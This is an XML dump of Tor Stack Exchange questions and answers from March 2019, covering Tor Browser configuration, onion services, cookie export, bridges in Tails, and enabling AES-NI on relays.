  <row Id="19530" PostTypeId="2" ParentId="19510" CreationDate="2019-03-02T19:58:05.343" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes, you will then have two circuits, and it will take some time for the previous circuit to be automatically cleaned up. A Stem controller does have a &lt;code&gt;close_circuit(id)&lt;/code&gt; function you can use to close a circuit manually.&lt;/li&gt;&#xA;&lt;li&gt;You cannot use multiple circuits to send data over a single connection. You can only do something like this if the server supports sending data over multiple connections with something like multipath TCP. If you have access to the server, you could also break your file locally into small chunks, send those separately to the server, and then reassemble them into a single file on the server.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2019-03-02T19:58:05.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19531" PostTypeId="2" ParentId="19527" CreationDate="2019-03-02T21:00:34.500" Score="-1" Body="&lt;p&gt;Actually your suggestion is what I started before. The main problem is the seeds. We do not have all the onion addresses. I recommend you to read my project details named OnionHarvester:&#xA;&lt;a href=&quot;https://mstajbakhsh.ir/onion-harvester-first-step-tor-search-engines/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionHarvester&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-02T21:00:34.500" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19532" PostTypeId="2" ParentId="19524" CreationDate="2019-03-02T21:07:04.403" Score="1" Body="&lt;p&gt;As far as I know, there is not one. However if you want to search through onion sites, services such TORCH or &lt;a href=&quot;http://ahmia.fi&quot; rel=&quot;nofollow noreferrer&quot;&gt;ahmia.fi&lt;/a&gt; can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to access Google behind TOR (sites such Google ban traffics behind TOR), take a look into my article about &lt;a href=&quot;https://mstajbakhsh.ir/socks-rocks-again/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bypassing Google like sites behind TOT&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-02T21:07:04.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19533" PostTypeId="1" CreationDate="2019-03-02T21:16:56.873" Score="0" ViewCount="325" Body="&lt;p&gt;Tor works fine for me as a normal user. However, to get utmost privacy I want to use Tor from the Mac standard guest account. This is denied with &quot;The program Torbrowser cannot be started on this computer&quot; (translated from the German message). Right-click-open no difference. MacOS-10.14.3 up to date. Any clue anybody ?&lt;/p&gt;&#xA;" OwnerUserId="21970" LastActivityDate="2022-03-17T09:04:50.440" Title="Tor on guest account" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19534" PostTypeId="2" ParentId="19533" CreationDate="2019-03-03T00:46:00.397" Score="0" Body="&lt;p&gt;As far as I am aware of, Tor &lt;strong&gt;must&lt;/strong&gt; be ran with higher level of permission (ex, admin and especially not guest) rights. There is no way around that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to, you should be able to run Tor as admin from the guest account (but that would be very much redundant)&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-03-03T03:02:59.460" LastActivityDate="2019-03-03T03:02:59.460" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19535" PostTypeId="2" ParentId="19527" CreationDate="2019-03-03T00:50:23.387" Score="0" Body="&lt;h2&gt;Please do not attempt this&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The entire purpose of hidden services and such is privacy. You suggestions would &lt;em&gt;destroy&lt;/em&gt; that. A search engine to find the supposed to be unfindable? A paradox in itself. Some of these services are hidden for a very good reason, such as humanitarian organization under oppressive regime. Your search of the dark web would help the oppressive regime out a lot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need to access a hidden service, contact the server operator. Some services do already offer something similar, like &lt;a href=&quot;http://ahmia.fi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden service are &lt;strong&gt;hidden&lt;/strong&gt; and by design of the tor network should remain that way&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-03-08T14:27:22.137" LastActivityDate="2019-03-08T14:27:22.137" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19536" PostTypeId="1" CreationDate="2019-03-03T06:58:10.880" Score="0" ViewCount="1027" Body="&lt;p&gt;I can't sign up for Reddit because I'm unable to open the reCAPTCHA. It said my computer may be sending automating queries, which I'm pretty sure is because I'm connecting from Tor and they are recieving a lot of traffic from Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I circumvent this? Are there unlisted Tor exit nodes I can use?&lt;/p&gt;&#xA;" OwnerUserId="25334" LastActivityDate="2019-03-03T19:49:09.280" Title="Can't use Reddit on Tor - What do I do?" Tags="|exit-relays|blocked|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19537" PostTypeId="2" ParentId="19476" CreationDate="2019-03-03T14:49:22.453" Score="1" Body="&lt;p&gt;As I realized, the sites does not allow scripts to be loaded. A suggestion:&#xA;Use a normal browser which enables JavaScript with TOR. For example, while TOR Browser is running, start a FireFox and set SOCKS proxy in FireFox which does not have the TOR Browser restrictions.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Nupbf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nupbf.png&quot; alt=&quot;FireFox proxy Settings with TOR Browser&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if the site bans TOR IP (Such as what Google does), check out the &lt;a href=&quot;https://mstajbakhsh.ir/socks-rocks-again/&quot; rel=&quot;nofollow noreferrer&quot;&gt;integration of TOR + VPN&lt;/a&gt; in my blog.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-03T14:49:22.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19538" PostTypeId="2" ParentId="19536" CreationDate="2019-03-03T19:49:09.280" Score="1" Body="&lt;p&gt;Restart Tor until it works. You probably got a bad exit node, with bad traffic. Restarting Tor will get you new circuit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note some sites will intentionally block all Tor traffic, in which case there is nothing you can do&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-03-03T19:49:09.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19539" PostTypeId="1" CreationDate="2019-03-04T02:50:34.483" Score="6" ViewCount="1010" Body="&lt;p&gt;Cookies don't show up in Privacy &amp;amp; Security Preferences when you click Manage Data (it shows no cookies even when there are cookies), which appears to be inherited from Firefox's Private Browsing mode.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a temporary fix I tried using the extension &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/cookies-txt/&quot; rel=&quot;noreferrer&quot;&gt;cookies.txt&lt;/a&gt;, but that didn't work for me, clicking it does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried running its source code directly (&lt;a href=&quot;https://github.com/lennonhill/cookies-txt&quot; rel=&quot;noreferrer&quot;&gt;GitHub&lt;/a&gt;) in Web Developer &gt; Scratchpad, but this didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function saveCookies(cookies) {&#xA;  var header = [&#xA;    '# Netscape HTTP Cookie File\n',&#xA;    '# https://curl.haxx.se/rfc/cookie_spec.html\n',&#xA;    '# This is a generated file! Do not edit.\n\n'&#xA;  ];&#xA;  var body = cookies.map(formatCookie)&#xA;  var blob = new Blob(header.concat(body), {type: 'text/plain'});&#xA;  var objectURL = URL.createObjectURL(blob);&#xA;  browser.downloads.download({url: objectURL, filename: 'cookies.txt',&#xA;    saveAs: true, conflictAction: 'overwrite'});&#xA;}&#xA;&#xA;function handleClick() {&#xA;  var gettingAll = browser.cookies.getAll({});&#xA;  gettingAll.then(saveCookies);&#xA;}&#xA;&#xA;handleClick()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gave this exception, but this could be my fault since I don't know what I'm doing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Exception: ReferenceError: browser is not defined&#xA;handleClick@Scratchpad/1:24:7&#xA;@Scratchpad/1:28:1&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I also tried looking inside the file &lt;code&gt;Browser/TorBrowser/Data/Browser/profile.default/cookies.sqlite&lt;/code&gt; while the broswer was open, but the &lt;code&gt;moz_cookies&lt;/code&gt; column appeared to be empty.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is there some way to export the cookies from the Tor Browser Bundle or even view them at all?&lt;/p&gt;&#xA;" OwnerUserId="25412" LastEditorUserId="25412" LastEditDate="2019-03-04T02:58:53.917" LastActivityDate="2022-03-19T02:04:05.520" Title="How can you export cookies from the Tor Browser Bundle?" Tags="|tor-browser-bundle|cookies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19540" PostTypeId="2" ParentId="19539" CreationDate="2019-03-04T10:16:49.613" Score="0" Body="&lt;p&gt;You can control cookie preferences from about:config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this link will help:&#xA;&lt;a href=&quot;https://gist.github.com/0XDE57/fbd302cef7693e62c769&quot; rel=&quot;nofollow noreferrer&quot;&gt;About Config Preferences&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-04T10:16:49.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19542" PostTypeId="1" CreationDate="2019-03-04T14:21:56.223" Score="2" ViewCount="47" Body="&lt;p&gt;I’ve tried running Tor 0.3.5.8 with the following in a config file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SocksPort 9050 SessionGroup=1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I get &lt;code&gt;[warn] Invalid SocksPort option ‘“SessionGroup=1”’&lt;/code&gt; and Tor fails to start.&lt;/p&gt;&#xA;" OwnerUserId="25416" LastEditorUserId="25416" LastEditDate="2019-03-05T06:06:20.857" LastActivityDate="2022-03-19T13:01:40.180" Title="How do I specify the SessionGroup option?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19543" PostTypeId="2" ParentId="19542" CreationDate="2019-03-04T19:47:15.717" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor's manpage&lt;/a&gt; writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;SocksPort [address:]port|unix:path|auto [flags] [isolation flags]&lt;/code&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So this means the correct name of the option is Socks&lt;em&gt;Port&lt;/em&gt; and the correct version of the line above is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050 SessionGroup=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-03-04T19:47:15.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19544" PostTypeId="1" CreationDate="2019-03-04T19:51:47.723" Score="1" ViewCount="2119" Body="&lt;p&gt;Firefox functions in Fedora/CentOS with Wayland, Tor-Browser should too. No Xorg necessary. How do I launch Tor-Browser under Wayland? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="25420" LastEditorUserId="25420" LastEditDate="2019-03-07T02:54:23.917" LastActivityDate="2019-03-07T02:54:23.917" Title="How do I load Tor-Browser with Wayland?" Tags="|tor-browser-bundle|security|fedora|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19545" PostTypeId="2" ParentId="19539" CreationDate="2019-03-04T20:57:30.247" Score="0" Body="&lt;p&gt;This is not the best solution since it requires you to install an add-on, but it works at least. The &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/a-cookie-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cookies Manager&lt;/a&gt; does let you see and import/export your cookies.&lt;/p&gt;&#xA;" OwnerUserId="25422" LastActivityDate="2019-03-04T20:57:30.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19546" PostTypeId="1" CreationDate="2019-03-05T06:59:58.417" Score="2" ViewCount="223" Body="&lt;p&gt;I know most onion directories use crawlers to collect onion addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I never share my onion address publicly or with anyone, can onion directories still find ways of discovering the address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: And if directories &lt;em&gt;can&lt;/em&gt; locate my onion address, can they also discover the port number it's listening on (eg. mysuperlameonion.onion:43155)?&lt;/p&gt;&#xA;" OwnerUserId="25424" LastActivityDate="2019-03-05T13:09:02.940" Title="Can onion directories find my address?" Tags="|onion-services|onion-routing|server-administration|hsdir|" AnswerCount="1" CommentCount="4" ClosedDate="2019-03-13T21:14:17.613" ContentLicense="CC BY-SA 4.0" />
  <row Id="19547" PostTypeId="2" ParentId="19546" CreationDate="2019-03-05T13:09:02.940" Score="0" Body="&lt;p&gt;As far as I know, only Hidden Service Directories knows the rendezvous point and public key of your hidden service, which they can obtain Onion address from your public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you never publish your onion address, no one can find your address unless they use bruteforce search over onion addresses.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-05T13:09:02.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19548" PostTypeId="1" CreationDate="2019-03-05T15:09:30.550" Score="0" ViewCount="186" Body="&lt;p&gt;I have some question about the very basics of tor, as this keeps bugging me now for some time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know every tor node is only aware of the ip address of the following node. For example the guard node knows where the next relay is, but does not know the exit node (as this information is hidden from it by encryption). The same holds true in the other direction, i.e. from exit node to guard node. This ensures that if let's say somebody gets access to the exit node the actual origin still remains hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now imagine the following scenario:&#xA;All three nodes lie within countries where let's say law enforcement or agencies are known to cooperate (maybe the EU). Let's also assume that there is very little traffic over these nodes. Isn't it then possible for an attacker like law enforcement to first acquire logs from an Internet Service Provider for the exit node, figure out to which ip the exit node sent data in a specific time frame, then check the logs for the second node and so on? Does anonymity in this scenario depend on the amount of traffic making correlations in ISP logs difficult or impossible?&lt;/p&gt;&#xA;" OwnerUserId="25426" LastEditorUserId="25426" LastEditDate="2019-03-08T17:59:37.863" LastActivityDate="2019-03-08T17:59:37.863" Title="Track Tor circuit via ISP logs" Tags="|tor-browser-bundle|anonymity|circuit|deanonymization|attacks|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19550" PostTypeId="2" ParentId="10634" CreationDate="2019-03-06T03:23:34.940" Score="0" Body="&#xA;&#xA;&lt;p&gt;First to mention, I am running my relay from home, so I have physical access to it, but if you don't, always be prepared for the worst - have a backup of your relay keys, and a backup of your configuration before actually doing any big changes. This answer might contain changes that could lead to your relay operation disruption.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Updated 2019-Mar-07&lt;/h1&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;In the recent &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide#CPU&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Relay Guide&lt;/a&gt; I've found&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is recommended to use CPUs with &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AESNI&lt;/a&gt; support (that will improve performance and allow for up to about ~400-450 Mbps in each direction on a single tor instance on modern CPUs). If the file &lt;code&gt;/proc/cpuinfo&lt;/code&gt; contains the word &lt;code&gt;aes&lt;/code&gt; your CPU has support for &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Additional info found on &lt;a href=&quot;https://wiki.archlinux.org/index.php/tor#Tor_configuration&quot; rel=&quot;nofollow noreferrer&quot;&gt;ArchWiki&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If &lt;code&gt;# cat /proc/cpuinfo&lt;/code&gt; returns that your CPU supports AES instructions and &lt;code&gt;# lsmod&lt;/code&gt; returns that the module is loaded, you can specify &lt;code&gt;HardwareAccel 1&lt;/code&gt; which tries &quot;&lt;em&gt;to use built-in (static) crypto hardware acceleration when available&lt;/em&gt;&quot;, see &lt;a href=&quot;http://www.torservers.net/wiki/setup/server#aes-ni_crypto_acceleration&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.torservers.net/wiki/setup/server#aes-ni_crypto_acceleration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Checking your setup: HW + OS&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find, find if your &lt;strong&gt;CPU supports &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt;&lt;/strong&gt;, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep aes /proc/cpuinfo &amp;gt; /dev/null; echo $?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;strong&gt;&lt;code&gt;0&lt;/code&gt;&lt;/strong&gt; means your CPU &lt;strong&gt;does&lt;/strong&gt; support it; and &lt;strong&gt;&lt;code&gt;1&lt;/code&gt;&lt;/strong&gt; means it &lt;strong&gt;does not&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Second, find if the &lt;strong&gt;module for &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; is loaded&lt;/strong&gt;, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ lsmod | grep -i aes&#xA;&#xA;aesni_intel           200704  1&#xA;aes_x86_64             20480  1 aesni_intel&#xA;crypto_simd            16384  1 aesni_intel&#xA;cryptd                 28672  3 crypto_simd,ghash_clmulni_intel,aesni_intel&#xA;glue_helper            16384  1 aesni_intel&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Checking your setup: Software&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;OpenSSL must be version 1.0.1 or above, please check yours, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ openssl version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OpenSSL 1.1.1a  20 Nov 2018&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor must be version &gt; 0.2.2 (&lt;a href=&quot;https://tor-talk.torproject.narkive.com/UW07zYDr/no-subject#post84&quot; rel=&quot;nofollow noreferrer&quot;&gt;unofficial claim&lt;/a&gt;, &lt;a href=&quot;https://github.com/evoskuil/tor/blob/master/ChangeLog#L924&quot; rel=&quot;nofollow noreferrer&quot;&gt;changelog&lt;/a&gt;), please check yours, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor --version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor version 0.3.5.8.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I recommend you stay up-to-date in all circumstances.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here I can actually answer my question: Yes, indeed, if you fulfill the requirements above, Tor performance can be greatly improved by enabling &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; instructions use. Please follow the below chapter in order to enable &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; use.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Enabling the use of &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; instructions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Settings option: &lt;code&gt;HardwareAccel&lt;/code&gt; which can be &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt; (&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HardwareAccel&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to wiki&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;If non-zero&lt;/strong&gt;, try to &lt;strong&gt;use&lt;/strong&gt; built-in (static) &lt;strong&gt;crypto hardware acceleration when available&lt;/strong&gt;. Can not be changed while tor is running. (&lt;strong&gt;Default: 0&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, stop your relay with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl stop tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add to Tor global settings file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line, and make sure it is not there yet, with your favorite text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HardwareAccel 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, you can start your Tor relay / bridge, with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl start tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You are done now. Either your relay / bridge will be faster, or the CPU will not be stressed as much.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;VPS (Virtual Private Server) without the &lt;code&gt;aes&lt;/code&gt; flag passed workaround&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is also a way to force OpenSSL &lt;a href=&quot;https://en.wikipedia.org/wiki/AES_instruction_set&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES-NI&lt;/a&gt; usage on a VPS without the &lt;code&gt;aes&lt;/code&gt; CPU flag passthrough for Tor. To do so, I would proceed like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Run &lt;em&gt;normal&lt;/em&gt; OpenSSL benchmark, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ openssl speed -elapsed -evp aes-128-gcm&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run it with a special flag, and simply check if it is multiple times faster:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ OPENSSL_ia32cap=&quot;+0x200000200000000&quot; openssl speed -elapsed -evp aes-128-gcm&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If it was way faster in your case, then it proves your VPS provider does not allow passing the &lt;code&gt;aes&lt;/code&gt; CPU flag into your Virtual Machine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can do the following, which &lt;strong&gt;you will have to repeat with each Tor upgrade&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Stop Tor service, and edit the following file with your favorite text editor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/init.d/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right after the first line, which stands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#! /bin/bash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this line and start the Tor service again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export OPENSSL_ia32cap=&quot;+0x200000200000000&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;More detailed info can be found &lt;a href=&quot;https://romanrm.net/force-enable-openssl-aes-ni-usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, I have re-written the most important parts only, so you should read it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only your relay / bridge might be faster, your VPS provider will actually be happy for you to use less of the CPU time!&lt;/p&gt;&#xA;" OwnerUserId="12763" LastEditorUserId="12763" LastEditDate="2019-03-11T09:46:32.613" LastActivityDate="2019-03-11T09:46:32.613" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19551" PostTypeId="1" CreationDate="2019-03-06T07:23:57.390" Score="0" ViewCount="201" Body="&lt;p&gt;This is impartant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to configure Bridge relays to hide fact that surfing on deep&#xA;web .onion sites using USB Tails and Tor Browser?&#xA;Reading this&#xA;(&lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en#AddTorWorks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/bridges.html.en#AddTorWorks&lt;/a&gt;) my&#xA;understanding is - there is no bigger difference if I use Tor Browser&#xA;via tails or xp win if we are talking about the very fact of visibility&#xA;usage of Tor Browser - is just visible that someone, somewhere uses it -&#xA;correct me if wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in that case I wish to configure Brige Relays in my USB Tails Tor&#xA;Browser - following this path, it is necessary to hide the fact Tor&#xA;Browser - Yes or No?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then adding bridges in Tor Browser when Tor does work in Tails is not&#xA;possible since there is no possible to open Tor Browser's Network&#xA;Settings - it shows only: New Identyty, Seciurity Settings, Check for&#xA;tor browser update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads me to conclusion - Using Tails an Tor Browser there us no&#xA;need to set briges relays to hide fact of usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, give me a hint/shrt guide whether I need to set briges relays?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Can I use this to configure Tor Browser in Tails?&#xA;&lt;a href=&quot;https://bridges.torproject.org/options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks for help.&#xA;Regards,&lt;/p&gt;&#xA;" OwnerUserId="25430" LastEditorUserId="31632" LastEditDate="2021-05-28T22:18:15.570" LastActivityDate="2022-02-23T00:07:15.833" Title="Brige Relays - help" Tags="|configuration|relays|tails|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19556" PostTypeId="1" CreationDate="2019-03-06T21:30:24.667" Score="0" ViewCount="25" Body="&lt;p&gt;I have used messages.android.com on Tor for a long time. Recently though after navigating to the website, a permission request popped up. Having never seen it before, I declined the permission. From then on, the site will no longer display the QR code necessary to sync the phones contacts. I looked everywhere on Tor for these permissions. The closest I found was under privacy under Tracking Protection and Cookies and Site Data but to no avail. So the question is how can I get Tor to prompt me again for that permission that was displayed?&lt;/p&gt;&#xA;" OwnerUserId="25436" LastActivityDate="2019-03-06T21:41:57.250" Title="Android messaging no longer works for me in Tor" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
